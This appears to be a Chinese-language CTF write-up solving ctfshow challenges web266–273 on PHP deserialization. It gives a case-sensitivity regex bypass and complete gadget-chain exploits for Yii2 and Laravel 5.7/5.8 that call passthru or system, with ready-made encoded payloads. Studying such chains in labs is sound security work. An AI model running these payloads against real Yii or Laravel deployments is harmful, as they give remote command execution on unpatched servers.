O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}

 get传值:

web266 

题目:

<?php

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

知识点:

file_get_contents('php://input')的用法

PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分。

分析:

因为正则表达式区分了大小写,所以我们可以使用大小写绕过,然后反序列化ctfshow类,这样就不会报错,脚本正常结束之后,就很调用__destruct()魔法方法,输出flag。

方法:

<?php
class Ctfshow{
}
$a=new Ctfshow();
echo serialize($a);

结果:

O:7:"Ctfshow":0:{}

抓包post传参。 

WEB267

查看源代码发现是yii框架:

 大概率版本是2的版本

yii反序列化漏洞

具体原理可以看我写的这篇文章

方法:

弱口令:admin,admin登录

 在about页面发现提示?view-source

访问url/?r=site/about&view-source得到反序列化点

POC:(system不能用,不知道原因)

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flag';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
 
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

 get传参,得到flag:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19

WEB268

POC:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flags';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}

get传参:

?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czoxMDoidGFjIC9mbGFncyI7fWk6MTtzOjM6InJ1biI7fX19fX0=

WEB269

POC:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flagsa';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

get传参:

?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6MTE6InRhYyAvZmxhZ3NhIjt9aToxO3M6MzoicnVuIjt9fX19fQ==

WEB270

POC:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

get传参:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo4OiJjYXQgL2ZsKiI7fWk6MTtzOjM6InJ1biI7fX19

WEB271

laravel5.7的反序列化

参考我写的这篇文章​​​​​​​中的参考文章

POC:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="tac /f*";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

post传参:

data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22tac+%2Ff%2A%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7D%7D

WEB272

laravel5.8反序列化漏洞

参考文章

2个POC,任意一个都可

POC:

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="tac /f*";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";

    }
}
namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

post传参:

data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00*%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00*%00queueResolver%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A8%3A%22%00*%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3Bs%3A7%3A%22tac+%2Ff*%22%3B%7D%7D

然后会报错,没关系,使用f12即可。

WEB273

laravel5.8反序列化漏洞

同WEB272

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值